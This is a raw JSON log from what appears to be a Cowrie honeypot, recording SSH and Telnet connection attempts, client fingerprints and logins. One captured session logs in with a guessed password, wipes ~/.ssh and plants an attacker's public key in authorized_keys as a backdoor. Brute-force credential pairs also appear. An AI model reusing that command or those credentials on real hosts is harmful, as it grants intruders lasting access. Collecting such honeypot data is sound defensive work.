{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":51446,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffc551a6040","protocol":"telnet","message":"New connection: 45.81.23.16:51446 (10.17.0.5:23) [session: cffc551a6040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:48.530404Z"}
{"eventid":"cowrie.session.closed","duration":39.78197979927063,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:50.911170Z","src_ip":"38.60.198.128","session":"c1b19ddbd992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.093425989151,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:51.179489Z","src_ip":"38.60.198.128","session":"4991ac21e8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.00580382347107,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:53.072954Z","src_ip":"38.60.198.128","session":"b03b9cd5ab46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.576794385910034,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:56.107110Z","src_ip":"45.81.23.16","session":"cffc551a6040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52258,"dst_ip":"159.203.135.109","dst_port":23,"session":"269e90ab20be","protocol":"telnet","message":"New connection: 38.60.198.128:52258 (159.203.135.109:23) [session: 269e90ab20be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:56.345860Z"}
{"eventid":"cowrie.session.closed","duration":42.576454877853394,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:57.067505Z","src_ip":"38.60.198.128","session":"0429cd65940f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52160,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f6f38127a6e","protocol":"telnet","message":"New connection: 38.60.198.128:52160 (159.203.135.109:23) [session: 2f6f38127a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:58.258072Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57844,"dst_ip":"159.203.135.109","dst_port":23,"session":"029863149167","protocol":"telnet","message":"New connection: 38.60.198.128:57844 (159.203.135.109:23) [session: 029863149167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:01.285406Z"}
{"eventid":"cowrie.session.closed","duration":38.36088705062866,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:09.302448Z","src_ip":"192.211.53.160","session":"17155a176d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39846,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c4c1566b4e","protocol":"telnet","message":"New connection: 38.60.198.128:39846 (159.203.135.109:23) [session: f4c4c1566b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:11.023594Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49236,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1affa968ed","protocol":"telnet","message":"New connection: 38.60.198.128:49236 (159.203.135.109:23) [session: 2a1affa968ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:18.405938Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49642,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c31b4b8105","protocol":"telnet","message":"New connection: 38.60.198.128:49642 (159.203.135.109:23) [session: 35c31b4b8105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:18.918286Z"}
{"eventid":"cowrie.session.closed","duration":42.2807674407959,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:20.626897Z","src_ip":"38.60.198.128","session":"7f4609651f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51932,"dst_ip":"159.203.135.109","dst_port":23,"session":"298ba3ea1f89","protocol":"telnet","message":"New connection: 38.60.198.128:51932 (159.203.135.109:23) [session: 298ba3ea1f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:20.805393Z"}
{"eventid":"cowrie.session.closed","duration":41.71265482902527,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:22.256349Z","src_ip":"38.60.198.128","session":"1b27cc37bc5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":60506,"dst_ip":"159.203.135.109","dst_port":23,"session":"0703977cc755","protocol":"telnet","message":"New connection: 192.211.53.160:60506 (159.203.135.109:23) [session: 0703977cc755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:24.767900Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":47966,"dst_ip":"159.203.135.109","dst_port":22,"session":"481402d558bb","protocol":"ssh","message":"New connection: 198.98.56.205:47966 (159.203.135.109:22) [session: 481402d558bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.719723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.724625Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.730130Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.783445Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.848673Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.853979Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.858999Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.873475Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.925868Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.929594Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.947162Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.950992Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":47972,"dst_ip":"159.203.135.109","dst_port":22,"session":"87715099428c","protocol":"ssh","message":"New connection: 198.98.56.205:47972 (159.203.135.109:22) [session: 87715099428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.955884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.962456Z","src_ip":"198.98.56.205","session":"87715099428c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:27.968218Z","src_ip":"198.98.56.205","session":"87715099428c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:28.025866Z","src_ip":"198.98.56.205","session":"87715099428c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:29.035754Z","src_ip":"198.98.56.205","session":"87715099428c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":47988,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d7e8ffe6989","protocol":"ssh","message":"New connection: 198.98.56.205:47988 (159.203.135.109:22) [session: 1d7e8ffe6989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:29.041139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:29.045118Z","src_ip":"198.98.56.205","session":"1d7e8ffe6989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:29.049946Z","src_ip":"198.98.56.205","session":"1d7e8ffe6989","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:29.105083Z","src_ip":"198.98.56.205","session":"1d7e8ffe6989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:29.114029Z","src_ip":"198.98.56.205","session":"481402d558bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:29.122382Z","src_ip":"198.98.56.205","session":"1d7e8ffe6989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34904,"dst_ip":"159.203.135.109","dst_port":23,"session":"9057ba45cafc","protocol":"telnet","message":"New connection: 38.60.198.128:34904 (159.203.135.109:23) [session: 9057ba45cafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:30.310190Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":34950,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d55be7540e","protocol":"telnet","message":"New connection: 192.211.53.160:34950 (159.203.135.109:23) [session: 84d55be7540e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:33.242690Z"}
{"eventid":"cowrie.session.closed","duration":42.75278067588806,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:39.098517Z","src_ip":"38.60.198.128","session":"269e90ab20be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58360,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c928023ede","protocol":"telnet","message":"New connection: 45.81.23.16:58360 (10.17.0.5:23) [session: d4c928023ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:39.695929Z"}
{"eventid":"cowrie.session.closed","duration":42.59030771255493,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:40.848305Z","src_ip":"38.60.198.128","session":"2f6f38127a6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48312,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2d667deb26","protocol":"telnet","message":"New connection: 38.60.198.128:48312 (159.203.135.109:23) [session: bf2d667deb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:41.086092Z"}
{"eventid":"cowrie.session.closed","duration":40.79663968086243,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:42.081867Z","src_ip":"38.60.198.128","session":"029863149167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.131915092468262,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:48.827685Z","src_ip":"45.81.23.16","session":"d4c928023ede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57980,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0404486eb57","protocol":"telnet","message":"New connection: 38.60.198.128:57980 (159.203.135.109:23) [session: c0404486eb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:48.936783Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45850,"dst_ip":"10.17.0.5","dst_port":23,"session":"df7bc9c3fd7d","protocol":"telnet","message":"New connection: 45.81.23.16:45850 (10.17.0.5:23) [session: df7bc9c3fd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:50.094806Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45844,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3b03e722f1","protocol":"telnet","message":"New connection: 45.81.23.16:45844 (10.17.0.5:23) [session: 2c3b03e722f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:50.361886Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45848,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59b1ba1fdaa","protocol":"telnet","message":"New connection: 45.81.23.16:45848 (10.17.0.5:23) [session: e59b1ba1fdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:50.521415Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60482,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa2c5cc7a22","protocol":"telnet","message":"New connection: 38.60.198.128:60482 (159.203.135.109:23) [session: faa2c5cc7a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:51.746580Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34784,"dst_ip":"159.203.135.109","dst_port":23,"session":"88c030b72861","protocol":"telnet","message":"New connection: 38.60.198.128:34784 (159.203.135.109:23) [session: 88c030b72861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:53.707387Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37566,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4956d362ed2","protocol":"telnet","message":"New connection: 38.60.198.128:37566 (159.203.135.109:23) [session: c4956d362ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:54.643353Z"}
{"eventid":"cowrie.session.closed","duration":35.81192350387573,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:56.617205Z","src_ip":"38.60.198.128","session":"298ba3ea1f89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.819409132003784,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:57.914124Z","src_ip":"45.81.23.16","session":"df7bc9c3fd7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42252,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f47163e8e8b","protocol":"telnet","message":"New connection: 38.60.198.128:42252 (159.203.135.109:23) [session: 0f47163e8e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:58.342607Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51028,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a7fea8411cf","protocol":"ssh","message":"New connection: 87.251.64.176:51028 (10.17.0.5:22) [session: 6a7fea8411cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:59.119371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:59.128428Z","src_ip":"87.251.64.176","session":"6a7fea8411cf","protocol":"ssh"}
